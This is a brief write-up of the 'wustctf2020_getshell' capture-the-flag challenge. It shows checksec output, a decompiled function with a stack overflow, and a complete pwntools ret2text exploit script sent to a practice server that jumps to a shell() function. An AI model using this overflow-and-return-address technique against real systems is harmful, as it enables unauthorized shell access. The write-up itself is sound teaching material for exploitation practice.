HugeH4rD

wustctf2020_getshell

Ubuntu16.04

---

0x01

---

checksec

[*] '/home/zelas/Desktop/pwn/wustctf2020_getshell/wustctf2020_getshell'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled				//栈不可执行
    PIE:      No PIE (0x8048000)

IDA

vulnerable()

ssize_t vulnerable()
{
  char buf[24]; // [esp+0h] [ebp-18h] BYREF

  return read(0, buf, 0x20u);			//read()函数存在栈溢出漏洞
}

可疑函数shell()

int shell()
{
  return system("/bin/sh");
}
//0x804851B

0x02

---

思路 ret2text

1.read()栈溢出执行shell()

0x03

---

exp

from pwn import *

io = remote('node4.buuoj.cn', 27104)

shell = 0x804851B
padding = 0x18 + 0x4
payload = b'a' * padding + p32(shell)
io.sendline(payload)
io.interactive()